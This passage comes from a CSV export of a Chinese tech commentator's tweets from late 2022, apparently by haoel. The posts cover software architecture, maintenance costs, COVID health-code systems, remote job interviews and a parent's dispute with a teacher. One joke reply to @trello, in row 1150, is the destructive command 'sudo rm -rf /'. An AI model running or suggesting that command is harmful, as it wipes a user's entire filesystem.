比起游戏我更害怕的是我们家的孩子沉迷于短视频和简中互联网,,https://twitter.com/haoel/status/1595284645150871553\n1083,1594592519949385728,2022-11-21 07:24:17+00:00,1,0,2,,@kevinzhow 我陪你 。 cc @ghosTM55,,https://twitter.com/haoel/status/1594592519949385728\n1084,1594547447275352064,2022-11-21 04:25:11+00:00,3,0,1,,@cosbeta @wuyuncc @ghosTM55 @tualatrix 据我观察，时间线上不会出现mute后被retweet的信息，但是block的反而会被retweet带岀来,,https://twitter.com/haoel/status/1594547447275352064\n1085,1594532576907399168,2022-11-21 03:26:05+00:00,16,0,1,,@ghosTM55 @tualatrix 是的，block 是让他不看你的，mute 是让你不看他的,,https://twitter.com/haoel/status/1594532576907399168\n1086,1594195672575533056,2022-11-20 05:07:21+00:00,3,0,2,,@wu_xiaoshun 找份码农的工作,,https://twitter.com/haoel/status/1594195672575533056\n1087,1594194404255813633,2022-11-20 05:02:19+00:00,2,0,0,,@guojia1698 是的,,https://twitter.com/haoel/status/1594194404255813633\n1088,1594193885030666240,2022-11-20 05:00:15+00:00,449,110,25,,\"看到这堆资料我仿佛听到了：\n1）“99％ 的公司用不到这些知识”\n2）“业务成功才是王道，技术无用”\n3）“学习‘造火箭’，工作‘搬砖头’”\n4）“ 某些技术真是反人类”\n5）“学了也只能干到35岁”\n……\n呵呵😄\",,https://twitter.com/haoel/status/1594193885030666240\n1089,1594177869248241665,2022-11-20 03:56:37+00:00,0,0,1,,@simonkuang938 @xuwenhao 你不是歪楼的,,https://twitter.com/haoel/status/1594177869248241665\n1090,1594139353357307907,2022-11-20 01:23:34+00:00,0,0,1,,@simonkuang938 @CatChen @xuwenhao @yihong0618 最讨厌这种把技术问题扯到非技术问题上来的了,,https://twitter.com/haoel/status/1594139353357307907\n1091,1593858766444765184,2022-11-19 06:48:37+00:00,35,0,21,,不是马上就要停止运营了么？居然还有更新，还是2.58GB…… https://t.co/MCdsQC4xQ5,,https://twitter.com/haoel/status/1593858766444765184\n1092,1593760186656649216,2022-11-19 00:16:53+00:00,110,11,20,,\"As you said, just turn into the WeChat. You can add the following features: payment, short/live video, 3rd party applet, blog, web search…and do not forget the health passcode, 接龙, 拍一拍… BTW, pls use monolithic architecture rather than microservice, it would be super fast…\",,https://twitter.com/haoel/status/1593760186656649216\n1093,1593553321796984833,2022-11-18 10:34:53+00:00,1,0,0,,@Samurai_In_404 @yihong0618 @xuwenhao 对的,,https://twitter.com/haoel/status/1593553321796984833\n1094,1593526683654504448,2022-11-18 08:49:02+00:00,4,0,1,,@xuwenhao @yihong0618 我说的就是分布式+ 服务化+微服务。算了，还是不跟你较真了……,,https://twitter.com/haoel/status/1593526683654504448\n1095,1593519236420288512,2022-11-18 08:19:26+00:00,239,35,9,,@xuwenhao @yihong0618 单体的问题也很多的。技术永远都是在trade off。不要过于片面的看待问题。下图来自我极客时间的专栏。https://t.co/Y9PxCfGHPY https://t.co/8tj8mfzt62,\"[TextLink(text='gk.link/a/11PCu', url='http://gk.link/a/11PCu', tcourl='https://t.co/Y9PxCfGHPY', indices=(74, 97))]\",https://twitter.com/haoel/status/1593519236420288512\n1096,1593469780958203909,2022-11-18 05:02:55+00:00,22,3,8,,早上上班，发现公司边上的银行被封了，拉着各种隔离警戒线不让人靠近，感觉很大程度上可能跟疫情有关…… https://t.co/VXcq5HSCsE,,https://twitter.com/haoel/status/1593469780958203909\n1097,1593462324685250560,2022-11-18 04:33:17+00:00,21,0,3,,@reatdoom 这个就像微积分一样，无论什么数学题，都可以解……数学建模基本上就是一种通用的方法。所以基本不存在有什么陌生的行业……,,https://twitter.com/haoel/status/1593462324685250560\n1098,1593459933063786496,2022-11-18 04:23:47+00:00,167,20,6,,那些技术圈里被过度关注的—— 高并发，高性能，高可用的东西，在有没有统一标准规范下的，你会发现，都是头痛医头，脚痛医脚的飞线和hack 的玩法，都是做好了不要动，动了就会出问题的结果……,,https://twitter.com/haoel/status/1593459933063786496\n1099,1593456794508017664,2022-11-18 04:11:19+00:00,1212,209,52,,好多所谓的架构师，其实不是在做架构，而是在做系统集成。系统集成和架构不样的地方是，系统集成是在做各种各样的拼装和适配，而架构是把原则和标准定下来，形成统一的标准规范（如：通信协议/数据协议/技术栈/日志/错误码/编码运维规范/开发库/中间件操作……），然后让所有的子系统向之对标看齐……,,https://twitter.com/haoel/status/1593456794508017664\n1100,1593114333223219200,2022-11-17 05:30:30+00:00,6,0,0,,@aiyonotbad 那我也建议你要向招聘方事先说明调整时间。不然就是沟通有问题，而且你也不可能表现得好了,,https://twitter.com/haoel/status/1593114333223219200\n1101,1593110609159417856,2022-11-17 05:15:42+00:00,0,0,0,,@Ranger_21g 是啊，我在北京，候选人在云南,,https://twitter.com/haoel/status/1593110609159417856\n1102,1593093303406559232,2022-11-17 04:06:56+00:00,0,0,1,,@kustasbruce 当有过滤了，而且还说了不要在公众场所，找一个安静的地方，这样有利于专注和思考，也告之对方，面试压力和难度是比较大的……,,https://twitter.com/haoel/status/1593093303406559232\n1103,1593092806113128448,2022-11-17 04:04:57+00:00,33,0,6,,有些小伙伴说是没看懂我想说什么，面试的需求要找一份工作，找工作是不是要给对方有一个好的印象（无论公司还是应聘者），那么，怎么才能给别人一个好的印象呢？这个问题留给你们吧……,,https://twitter.com/haoel/status/1593092806113128448\n1104,1593091600363950087,2022-11-17 04:00:10+00:00,0,0,1,,@ear_lean @ddd5213 正解个毛，你不让领导看见，和不在公众场合面试，这两者没有因果关系……,,https://twitter.com/haoel/status/1593091600363950087\n1105,1593075206268260352,2022-11-17 02:55:01+00:00,112,4,44,,最近帮个云南老乡的公司面个高级技术岗位的面试，面了 6 个人，有 4 个是在公共场所，一个在路边，一个在楼道间，一个在大堂，今天这更夸张，居然背着包在过马路，问他为什么不找个安静点的地方，说是外面空气好……我感觉他们投简历只手滑了，而面试耽误了云南同行的大事，内心感到深深的自责…… https://t.co/v1jtrLjleK,,https://twitter.com/haoel/status/1593075206268260352\n1106,1592829623867707392,2022-11-16 10:39:10+00:00,130,12,23,,补充一下，这里面有两个系统一个是扫码系统，一个是数据分析系统。对于扫码系统来说不难，没什么高并发的事，因为每个需要扫码的地方都是在人肉排队，扛不住就是因为技术差。数据分析系统是比较难的，难不是难在技术含量，而是难在乱七八糟的需求，大家可以自己脑补一下精准防控的需求会是什么样的……,,https://twitter.com/haoel/status/1592829623867707392\n1107,1592818805176049664,2022-11-16 09:56:10+00:00,0,0,2,,@lobworm2019 小区内的也有人脸识别了……,,https://twitter.com/haoel/status/1592818805176049664\n1108,1592818093897940992,2022-11-16 09:53:21+00:00,3,0,2,,@lobworm2019 还有摄像头呢……,,https://twitter.com/haoel/status/1592818093897940992\n1109,1592817167103569920,2022-11-16 09:49:40+00:00,0,0,1,,@Ralph3652003Liu 你也在这里工作？,,https://twitter.com/haoel/status/1592817167103569920\n1110,1592816936181985280,2022-11-16 09:48:45+00:00,381,57,123,,大家不要觉得健康码系统比较容易做，如果你认为只是扫码，你就想简单 了。这背后还很多非常复杂的管理逻辑。这些管理逻辑，就是要从每天的扫码记录和通行大数据中做各种各样的分析和统计，然后进行弹窗赋黄码等 ，还有对一个区域的人员进行追踪，不只是流调分析，还有各种复杂的计算……,,https://twitter.com/haoel/status/1592816936181985280\n1111,1592811517535481856,2022-11-16 09:27:13+00:00,1,0,1,,@FreiheitYu 之后，去年下半年,,https://twitter.com/haoel/status/1592811517535481856\n1112,1592811022544703489,2022-11-16 09:25:15+00:00,42,4,12,,@FreiheitYu 北京健康码的技术团队倒是来找过我……,,https://twitter.com/haoel/status/1592811022544703489\n1113,1592802642220441601,2022-11-16 08:51:57+00:00,53,2,20,,\"什么叫“玩大玩超大”？\n\nP.S 我不由自主地想起了：“我的很大你忍一下”…… https://t.co/4k8RFQ6eQR\",,https://twitter.com/haoel/status/1592802642220441601\n1114,1592756023617413120,2022-11-16 05:46:42+00:00,102,14,5,,\"🔆 你要学会不要忍不要妥协，因为只要你能忍能吃苦，你就不会想着去改变什么，而你就只会越来越能忍，越来越能吃苦，于是你就会过得越来越悲催。忍是容易的，但寻求改变才是进步的源泉。\n\n💊 你生活在这些世界上你要学会忍，要学会吃苦，要学会妥协，因为只有忍辱负重，适应环境的人，才会能成为强者。\",,https://twitter.com/haoel/status/1592756023617413120\n1115,1592530232178888707,2022-11-15 14:49:29+00:00,4,0,0,,@DYTT04178150 那𣎴就是解读么……,,https://twitter.com/haoel/status/1592530232178888707\n1116,1592528751325507584,2022-11-15 14:43:36+00:00,175,19,33,,\"时常我们会听到两种说法，一种是“数据不会骗人”，另一种是“数据会骗人”，那么我们究竟该信哪句话呢？\n\n其实，数据会骗人，并不是数据本身骗人，而是解读数据分析数据的人，因为自己能力不足或是有倾向性，导致数据的解读出现了偏差和错误……数据是死的，不可能骗人，而解读数据的人才会骗/误导人……\",,https://twitter.com/haoel/status/1592528751325507584\n1117,1592397237258424321,2022-11-15 06:01:01+00:00,176,19,21,,大家有没有注意到 Github 的新功能 code space，直接打开了一个在线的 VSCode。插件下载，依赖库下载很快，编译速度可以去生个孩子…… https://t.co/qyBBeefjMf,,https://twitter.com/haoel/status/1592397237258424321\n1118,1592063804783091714,2022-11-14 07:56:04+00:00,74,2,2,,@disksing 很明显，法官是来和稀泥的，我见过的法官基本上都是这么干的。所以在这个社会，最终都是刁民致胜。先学会把自己变成个刁民吧……,,https://twitter.com/haoel/status/1592063804783091714\n1119,1591263119678267392,2022-11-12 02:54:26+00:00,0,0,1,,@XianBoZhang 这不是一个意思吗？,,https://twitter.com/haoel/status/1591263119678267392\n1120,1590994590278246401,2022-11-11 09:07:24+00:00,0,0,2,,@shell909090 初一的学生，刚从小学上来的人……,,https://twitter.com/haoel/status/1590994590278246401\n1121,1590984744262832128,2022-11-11 08:28:16+00:00,10,0,3,,@dykaknsjwkmsmwm 这个不是我的群吗？,,https://twitter.com/haoel/status/1590984744262832128\n1122,1590928834467352576,2022-11-11 04:46:06+00:00,0,0,4,,@hxi_122815 一边是和一边是差，这不是很明显吗？,,https://twitter.com/haoel/status/1590928834467352576\n1123,1590928719887364096,2022-11-11 04:45:39+00:00,0,0,0,,@daqinhong 你给一个初中生听的懂的精简的，向你学习,,https://twitter.com/haoel/status/1590928719887364096\n1124,1590911207799943168,2022-11-11 03:36:04+00:00,41,3,12,,下面是我教孩子的解题思路…… https://t.co/1yva0s0eFq,,https://twitter.com/haoel/status/1590911207799943168\n1125,1590735744796360704,2022-11-10 15:58:50+00:00,0,0,0,,@savageyongary @zkm67 看图,,https://twitter.com/haoel/status/1590735744796360704\n1126,1590692546250182657,2022-11-10 13:07:11+00:00,0,0,0,,@dallaslu 👍👍,,https://twitter.com/haoel/status/1590692546250182657\n1127,1590690853789790210,2022-11-10 13:00:27+00:00,1,0,0,,@ZRT115 👍👍👍,,https://twitter.com/haoel/status/1590690853789790210\n1128,1590672178089201669,2022-11-10 11:46:15+00:00,0,0,1,,@zkm67 👍👍,,https://twitter.com/haoel/status/1590672178089201669\n1129,1590666017336090625,2022-11-10 11:21:46+00:00,67,4,48,,\"来，试试这道我家娃初一期中考试数学题，我被虐了20分钟才解出来，看看大家怎么样？\n\nPS，如果你计算出原点在C点的，不能算对，因为原点在一个区间\n\nPSS，这种题感觉好无聊 https://t.co/vSbRZ1GlYF\",,https://twitter.com/haoel/status/1590666017336090625\n1130,1590657185419513857,2022-11-10 10:46:40+00:00,37,3,4,,补充一下：亚马逊今年按1:20拆了股，所以，要等他跌倒19刀，才等于我当时380刀的卖出价,,https://twitter.com/haoel/status/1590657185419513857\n1131,1590627161593253889,2022-11-10 08:47:22+00:00,4,0,0,,@york_qin 是的，今年拆了股,,https://twitter.com/haoel/status/1590627161593253889\n1132,1590612019170148352,2022-11-10 07:47:12+00:00,164,12,25,,我在2010年亚马逊的股票还是70刀的时候入职了亚麻，在2015年把亚麻的股票在380刀卖掉以后，就再也买不回来了，因为亚麻的股票就不断地涨，涨到了3000-4000刀……这两天似乎又让我看到了可以再把亚麻的股票再买回来的希望…… https://t.co/zS8YHvn2Uq,,https://twitter.com/haoel/status/1590612019170148352\n1133,1589649690702008321,2022-11-07 16:03:15+00:00,14,0,0,,@wuyuesanren 11.08的生日吧 生日快乐🎂🎉🎊🎈🎁❤️,,https://twitter.com/haoel/status/1589649690702008321\n1134,1588791731616886784,2022-11-05 07:14:01+00:00,121,1,4,,@mranti 其实我们理科生也很难相信文科生会觉得这个装置难以置信,,https://twitter.com/haoel/status/1588791731616886784\n1135,1588775326548885505,2022-11-05 06:08:50+00:00,3,0,1,,@xicilion 感觉你要开始成立党派进行革命了……👍,,https://twitter.com/haoel/status/1588775326548885505\n1136,1588773315334000640,2022-11-05 06:00:51+00:00,112,0,3,,@tinyfool 每次看见你的手的时候，我都想弄一把火……,,https://twitter.com/haoel/status/1588773315334000640\n1137,1587607146015117312,2022-11-02 00:46:54+00:00,12,2,0,,@PenngXiao 分工的出现，主要是来源于有更低成本的执行，标准化流程，劳动密集型，是细致化分工的必要条件……,,https://twitter.com/haoel/status/1587607146015117312\n1138,1587604911998767104,2022-11-02 00:38:01+00:00,544,82,20,,我们知道，软件80 ％的成本不在于开发，而在于维护。降低维护成本手段基本上就是三件事，简化，标准化，自动化。简化意味着：易读，干净整洁，单一职责，KISS；标准化意味着：抽象共同的东西，沉淀不变的，隔离善变的，IOC/DIP ；自动化意味着：消除重复性和支持性的工作……程序员的幸福度来自于此！,,https://twitter.com/haoel/status/1587604911998767104\n1139,1587493199396114433,2022-11-01 17:14:07+00:00,471,52,54,,今天帮人发了则程序员招聘广告，其中说到工作内容，“对代码的要求质量高，必须要写自动化单元测试和功能测试，对关键点要写代码注释和技术文档，对用户需求，需要做抽象化和标准化的设计，以及对控制系统和业务逻辑分离”……结果有人回：“成本控制的住么？”，好的代码才是控制成本的关键，不是么？,,https://twitter.com/haoel/status/1587493199396114433\n1140,1587397052295942145,2022-11-01 10:52:04+00:00,844,61,65,,今天用高德打车发现一个有趣的事儿。打到的是一个预付费一口价，所以需要先支付费用，支付的时候选择了微信支付。于是高德app唤起了微信app，微信app又唤起了高德的小程序，高德小程序再唤起了微信支付……这波操作，我给满分💯,,https://twitter.com/haoel/status/1587397052295942145\n1141,1586898959418929152,2022-10-31 01:52:49+00:00,0,0,0,,@vanton @waylybaye 真的么。这种在车位框的侧方停车，在我驾龄1年后，从来都是一把搞定……你们是认真的么？,,https://twitter.com/haoel/status/1586898959418929152\n1142,1586895236617613312,2022-10-31 01:38:02+00:00,399,78,23,,如果你公司的 OKR 是自顶向下的对齐，你就会知道老大们的压力是什么，上面也知道下面有哪些团队和人在混日子；但是，如果你公司的OKR是自底向上，你不但知道哪些团队和人混日子，你还会知道，好些高层其实并不需要……,,https://twitter.com/haoel/status/1586895236617613312\n1143,1586892327116996609,2022-10-31 01:26:28+00:00,18,0,3,,@disksing 所以，你知道为什么 OKR要自底向上了吧……,,https://twitter.com/haoel/status/1586892327116996609\n1144,1586691740668690433,2022-10-30 12:09:24+00:00,0,0,0,,@HyviTan 高风险可以出差么？,,https://twitter.com/haoel/status/1586691740668690433\n1145,1586605032992313344,2022-10-30 06:24:52+00:00,209,41,4,,好吧，奇怪的知识又增加了一个……,,https://twitter.com/haoel/status/1586605032992313344\n1146,1586348752155340803,2022-10-29 13:26:30+00:00,38,7,1,,《国产凌凌漆》这个电影其实是产品经理的必备教程…… https://t.co/NWTyhE3Dwl,,https://twitter.com/haoel/status/1586348752155340803\n1147,1586342461903097856,2022-10-29 13:01:30+00:00,189,22,49,,刚刚查了一下，中高风险地区居然这么多，新疆居然有1000多个高风险地区……😓 https://t.co/c5CwrwXhsO,,https://twitter.com/haoel/status/1586342461903097856\n1148,1586222420024643585,2022-10-29 05:04:30+00:00,140,0,9,,@fujohnwang 看样子，还是发一条“四通桥”的微博会更省时省力,,https://twitter.com/haoel/status/1586222420024643585\n1149,1586217718382202880,2022-10-29 04:45:49+00:00,0,0,0,,@hackfisher 还真能偷换概念,,https://twitter.com/haoel/status/1586217718382202880\n1150,1585990826093527040,2022-10-28 13:44:13+00:00,28,0,3,,@trello sudo rm -rf /,,https://twitter.com/haoel/status/1585990826093527040\n1151,1585946816301834240,2022-10-28 10:49:21+00:00,3,0,1,,@PenngXiao 嘿嘿嘿👽👽👽,,https://twitter.com/haoel/status/1585946816301834240\n1152,1585943581054750721,2022-10-28 10:36:29+00:00,16,2,8,,币圈没有双因认证么？👽,,https://twitter.com/haoel/status/1585943581054750721\n1153,1585858203463471104,2022-10-28 04:57:14+00:00,35,0,3,,@fujohnwang 你删除不掉的，只是置了删除标志罢了，审查你的人还是全都能看到的……,,https://twitter.com/haoel/status/1585858203463471104\n1154,1585857670950490113,2022-10-28 04:55:07+00:00,14,0,11,,@disksing OKR 不是自下向上的吗？,,https://twitter.com/haoel/status/1585857670950490113\n1155,1585580297563013121,2022-10-27 10:32:56+00:00,0,0,0,,@OctoLeft 原来如此,,https://twitter.com/haoel/status/1585580297563013121\n1156,1585562071319851008,2022-10-27 09:20:30+00:00,52,0,11,,macOS Ventura 使用拟我表情包的锁屏界面的小细节…… https://t.co/gFt2jwpTpm,,https://twitter.com/haoel/status/1585562071319851008\n1157,1585495600740544512,2022-10-27 04:56:22+00:00,1112,245,47,,昨晚失眠，就在 Twitter 上参加了 @tinyfool  的关于自媒体的一场讨论，我讲了一些零碎的观点，讲完后，更睡不着了，于是记到苹果便签里了，没记完，先分享出来……欢迎讨论！ https://t.co/NQN5GxvNU3,,https://twitter.com/haoel/status/1585495600740544512\n1158,1585472573478797312,2022-10-27 03:24:52+00:00,0,0,1,,@tinyfool @williamlong 了解,,https://twitter.com/haoel/status/1585472573478797312\n1159,1585468345855315968,2022-10-27 03:08:04+00:00,7,0,2,,@tinyfool @williamlong 你说的给 blog 加广告，是怎么个加法？,,https://twitter.com/haoel/status/1585468345855315968\n1160,1585327554030100480,2022-10-26 17:48:37+00:00,104,27,1,,直接用小号给一个离谱的错误观点就行了……,,https://twitter.com/haoel/status/1585327554030100480\n1161,1585326490635599875,2022-10-26 17:44:23+00:00,7,0,1,,@tinyfool @wenqiangjp 我走的是“颠覆认知”的套路，拿你当了个梯子，希望别介意啊 🙏🙏🙏,,https://twitter.com/haoel/status/1585326490635599875\n1162,1585323475153342464,2022-10-26 17:32:25+00:00,1,0,0,,@zhuangyongyong 对的。你也看他的？,,https://twitter.com/haoel/status/1585323475153342464\n1163,1585301726625951746,2022-10-26 16:05:59+00:00,5,0,4,,@tinyfool 怎么突然就结束了，我还要发言呢,,https://twitter.com/haoel/status/1585301726625951746\n1164,1585270577085829127,2022-10-26 14:02:13+00:00,1,0,1,,@liuren 我的意思是，微信的监控太狠了，不宜做讨论群,,https://twitter.com/haoel/status/1585270577085829127\n1165,1585217220732669952,2022-10-26 10:30:11+00:00,0,0,1,,@VimGit 班主任喊了多次用小程序都停不下来……,,https://twitter.com/haoel/status/1585217220732669952\n1166,1585212972020158464,2022-10-26 10:13:19+00:00,5,0,0,,@jackysp 似乎每次升级完都要运行一次 xcode-select --install,,https://twitter.com/haoel/status/1585212972020158464\n1167,1585210691786780672,2022-10-26 10:04:15+00:00,35,2,23,,\"升级完了，\n1）没有出兼容性问题的软件\n2）CPU 还是时不时地烧开水 kernel_task 过高\n3）改版的设置还能接受\n4）墙纸实在是太丑\n5）感觉升了个寂寞……\",,https://twitter.com/haoel/status/1585210691786780672\n1168,1585206682069905408,2022-10-26 09:48:19+00:00,2,0,3,,@liuren 居然是微信群……,,https://twitter.com/haoel/status/1585206682069905408\n1169,1585206177126060032,2022-10-26 09:46:18+00:00,316,33,41,,\"“学校的家长群”是我有生以来见到过的人类表现的“最有趣”的地方。这个群里基本上都是如下整整齐齐的在回复 ：\n\n-  “收到” “收到” “收到” “收到” ……\n-  “老师辛苦了”“老师辛苦了”……\n- “接龙”“接龙”“接龙”“接龙”……\n- 👍 👍 👍 👍 👍……\n\n让我总是想起电影 Finding Nemo 的这个片段 https://t.co/0r7jYl49ZW\",,https://twitter.com/haoel/status/1585206177126060032\n1170,1585201786906107904,2022-10-26 09:28:52+00:00,30,0,0,,@Youping_Wang 对的，感觉就是一群傻瓜……,,https://twitter.com/haoel/status/1585201786906107904\n1171,1585201252690198528,2022-10-26 09:26:44+00:00,11,0,5,,@FreiheitYu 小学的知识是足了够了，家长如果连小学都无法提供的话，那还是算了。另外，Kids 不是 6 岁孩子看的了……,,https://twitter.com/haoel/status/1585201252690198528\n1172,1585199685249433600,2022-10-26 09:20:31+00:00,68,3,31,,当“接龙”车轮滚动起来的时候，这是谁也阻挡不了的…… （p.s. 红色打码的是班主任，其它的都是家长） https://t.co/wkN9mJpq8d,,https://twitter.com/haoel/status/1585199685249433600\n1173,1585186917209223168,2022-10-26 08:29:47+00:00,67,1,4,,@MiaBleem 应该是：“通过使用互联网思维的新型数字化技术，建立高效实时的工作协同能力”！,,https://twitter.com/haoel/status/1585186917209223168\n1174,1585144468205756416,2022-10-26 05:41:06+00:00,0,0,2,,@administer7 这个设计……,,https://twitter.com/haoel/status/1585144468205756416\n1175,1585130221430538240,2022-10-26 04:44:29+00:00,0,0,4,,@OctoLeft CPU还会时不时的 100%么？,,https://twitter.com/haoel/status/1585130221430538240\n1176,1585126863588196352,2022-10-26 04:31:09+00:00,67,0,77,,又来了，升还是不升？ https://t.co/KZzmUf41Fa,,https://twitter.com/haoel/status/1585126863588196352\n1177,1585124834815905793,2022-10-26 04:23:05+00:00,5,0,0,,@ThaddeusJiang https://t.co/CWyOoqgu5i 21:40开始，我感觉这个这个剧里的精华之一，值得反复玩味……,\"[TextLink(text='youtu.be/nXBvJhki2x4', url='https://youtu.be/nXBvJhki2x4', tcourl='https://t.co/CWyOoqgu5i', indices=(15, 38))]\",https://twitter.com/haoel/status/1585124834815905793\n1178,1585114442580529152,2022-10-26 03:41:47+00:00,2,0,1,,@Beijingyemang 名字都打岀来了，你还找不到😓https://t.co/sGwh9INj3r https://t.co/TUFTjCN0A0,\"[TextLink(text='twitch.tv/shxtou', url='https://twitch.tv/shxtou', tcourl='https://t.co/sGwh9INj3r', indices=(29, 52))]\",https://twitter.com/haoel/status/1585114442580529152\n1179,1585080133060554752,2022-10-26 01:25:27+00:00,0,0,1,,@maajiaa 应该叫 Plain English,,https://twitter.com/haoel/status/1585080133060554752\n1180,1585078989097668608,2022-10-26 01:20:55+00:00,109,6,9,,对了，我们家孩子特别喜欢一个游戏播主，叫 shxtou ，让我下个twitch ，周末就要看半小时他的直播，这也是孩子学英文的一个动力……,,https://twitter.com/haoel/status/1585078989097668608\n1181,1585071554010165248,2022-10-26 00:51:22+00:00,1,0,0,,@repoog @stephenzhang233 而且100元分成3-4笔付，2年才付完,,https://twitter.com/haoel/status/1585071554010165248\n1182,1585067261769175040,2022-10-26 00:34:18+00:00,1099,220,69,,一朋友私信我如何让他家6岁的孩子学主动学英文，我分享出来，大家帮补充。重要的是让孩子知道学这个有啥用，以及言传身教，孩子会模仿大人的。所以，1）我自己也在学，并时常在家用当孩子面用英文跟人交流，2）带孩子出了趟国，看了世界，以及英文互联网：油管，图片，游戏，等。3）找到对的朋友圈……,,https://twitter.com/haoel/status/1585067261769175040\n1183,1585066184139235328,2022-10-26 00:30:02+00:00,46,0,4,,@ThaddeusJiang 接下来应该是慈禧要向全世界宣战的演讲了,,https://twitter.com/haoel/status/1585066184139235328\n1184,1584924133850505218,2022-10-25 15:05:34+00:00,21,0,1,,@hzlzh 那你赶快上一个比较垃圾的功能,,https://twitter.com/haoel/status/1584924133850505218\n1185,1584863964357623811,2022-10-25 11:06:29+00:00,38,0,6,,@tinyfool 看成了60万美金，3 P😂😂,,https://twitter.com/haoel/status/1584863964357623811\n1186,1584774932231499777,2022-10-25 05:12:42+00:00,7,0,1,,@disksing 你不写段子了？有点不习惯了，哈哈,,https://twitter.com/haoel/status/1584774932231499777\n1187,1584751574705766400,2022-10-25 03:39:53+00:00,9,0,1,,@plantegg 班主任是个90后的年轻人，她开班会的时候，班上的同学主动站出10+名学生投诉语文老师，她就反馈过了，但好效果并不好…… p.s.我还是很喜欢这群学生的，敢站出来投诉老师。,,https://twitter.com/haoel/status/1584751574705766400\n1188,1584750084171833344,2022-10-25 03:33:57+00:00,0,0,2,,@cathiabi 最后解释一推，我就block你。其一，我原文已经表达过这个是个普遍案例，你没有理解到，其二，老师的教学方式是好还是不好，你似乎也没有理解到，其三，我是当事人，班主任跟我说的话是打圆场还是不激化矛盾，你反而是没有发言权的，因为你不是当事人，你哪来的这个自信？,,https://twitter.com/haoel/status/1584750084171833344\n1189,1584748529297215488,2022-10-25 03:27:47+00:00,0,0,0,,@gallaaam run - 逃避不是所有问题的答案,,https://twitter.com/haoel/status/1584748529297215488\n1190,1584744745334870016,2022-10-25 03:12:45+00:00,0,0,1,,@cathiabi 我只能说，你没有认真阅读我的推，要么你的理解能力有一定的障碍，要么你没阅读完就下了结论，建议你再认真读读，好好理解一下,,https://twitter.com/haoel/status/1584744745334870016\n1191,1584738615979962369,2022-10-25 02:48:23+00:00,642,76,39,,解释一下，我这么做主要是做给孩子看的，身教重于言教，让孩子知道以后如何面对这样的事，如何沟通和表达。有一点是，千万不要害怕穿小鞋长期忍着，也不要做出极端的决定（不上课或是转学），要学会尝试去沟通和改变……因为，忍受和逃避都只会认人自闭，只有面对和改变才会让你有真正的能力和成长……,,https://twitter.com/haoel/status/1584738615979962369\n1192,1584734738220449792,2022-10-25 02:32:59+00:00,13,0,0,,@kankan44299594 穿小鞋我不怕，其实也只有这样做了，他们才不敢给孩子穿小鞋，被欺负的人总是那些怕事的人……,,https://twitter.com/haoel/status/1584734738220449792\n1193,1584725963778142209,2022-10-25 01:58:07+00:00,171,1,49,,最后的交流这么结束了，我也不知道会怎么样，语文老师会不会改，不过班主任还是支持我的，就说，她也有些话也不好说，老教师有些弯还转不过来，也希望我给这个老师些机会，后面再看看，保持沟通……,,https://twitter.com/haoel/status/1584725963778142209\n1194,1584725961576095745,2022-10-25 01:58:06+00:00,205,6,5,,最后，我只能说，如果我说，你教的这群学生有人去职高，你就只配教职高，你乐意吗？然后我再反问她，你前两天教学生的“知之者不如好之者，好之者不如乐之者”，你是怎么理解的？老师回答不出来。我说，我来找你目的是希望你做个更好的老师，让孩子喜欢上语文，而不是成为考试机器，我觉得你能做到的……,,https://twitter.com/haoel/status/1584725961576095745\n1195,1584725959592198144,2022-10-25 01:58:06+00:00,134,4,2,,虽然我给了些建设性的意见，比如，让学生喜欢语文主动学习，费曼学习法。但老师并没听进去，就说，为了分数就是得这样，我这是为孩子好。我说，你对孩子好，为什么孩子们感受不到？在班会上都投诉你，你知道现你的课都被孩子们称之为“职高课”吗？但是语文老师还是不以为然，只是说学生误解了她……,,https://twitter.com/haoel/status/1584725959592198144\n1196,1584725956878827520,2022-10-25 01:58:05+00:00,732,65,129,,因为孩子说不想再上语文课，我约了班主任和语文老师交谈，我直接就质疑了语文老师的教学方式，一个是机械化地输出考点不求甚解，另一个是是以负面激励的方式说如果不做XXX，以后就上职高。语文老师只是强调自己的38年的教龄，以及分数的重要和中考的困难，认为自己做的是对的，说正向负向的都有……,,https://twitter.com/haoel/status/1584725956878827520\n1197,1584391997413986304,2022-10-24 03:51:03+00:00,77,1,1,,我观察了几节课，觉得这种没有大人参与的教学还是挺好的，大家基本都是同一阶段的学生，中国的孩子明显很拘谨，国外孩子很自信，有什么说什么。我让孩子参与，一方面，可以感受下不同的形式，了解一下其他国家的孩子，另一方面，孩子间的语言跟大人是不一样的，更为亲近一些，孩子也更爱学习了一些……,,https://twitter.com/haoel/status/1584391997413986304\n1198,1584391994935103489,2022-10-24 03:51:02+00:00,199,15,11,,我有个大学同学的孩子在美国上十年级，为鼓励回报社会让孩子做义工，于是跟他同学作教英文单词的义工，我让我孩子报名了，用Wordly Wise Book 4的书，里面的单词基本都是国内高中大学的，上了几节课后，我孩子说，这个两个小老师真是初中生吗？感觉年纪应该是高中生。并觉得这说说笑笑学习方式挺好的…,,https://twitter.com/haoel/status/1584391994935103489\n1199,1584003749290598400,2022-10-23 02:08:17+00:00,7,0,2,,@leeight 真巧，今天早上我也是,,https://twitter.com/haoel/status/1584003749290598400\n1200,1583620221616549888,2022-10-22 00:44:17+00:00,14,3,0,,@filmbking 连连看,,https://twitter.com/haoel/status/1583620221616549888\n1201,1583337277287067648,2022-10-21 05:59:58+00:00,55,7,0,,你们人类实在是……,,https://twitter.com/haoel/status/1583337277287067648\n1202,1583269682861117441,2022-10-21 01:31:22+00:00,78,15,16,,可以可以可以……,,https://twitter.com/haoel/status/1583269682861117441\n1203,1583108651899711488,2022-10-20 14:51:30+00:00,31,4,2,,从来不用中文关键词搜索技术的飘过……,,https://twitter.com/haoel/status/1583108651899711488\n1204,1583108277331632128,2022-10-20 14:50:00+00:00,0,0,1,,@csl_sincere @liumengxinfly 我说的是封闭不开放，价格还贵,,https://twitter.com/haoel/status/1583108277331632128\n1205,1583057206697607170,2022-10-20 11:27:04+00:00,1,0,0,,@kankan44299594 @DashHuang 合伙人的要求是：带领公司，组建团队，开发产品，创造收入，并承担亏损。如果只是想简单地来分红利那还是当一个股民更好。,,https://twitter.com/haoel/status/1583057206697607170\n1206,1583056254536065024,2022-10-20 11:23:17+00:00,12,0,3,,@liumengxinfly 这跟大公司的价值观是不符的，在我看来，云计算就是新一代的IBM和Oracle……,,https://twitter.com/haoel/status/1583056254536065024\n1207,1583055797361049601,2022-10-20 11:21:28+00:00,0,0,0,,@kankan44299594 @DashHuang 不一定，还有一种身份叫股民 😜,,https://twitter.com/haoel/status/1583055797361049601\n1208,1583040695664664576,2022-10-20 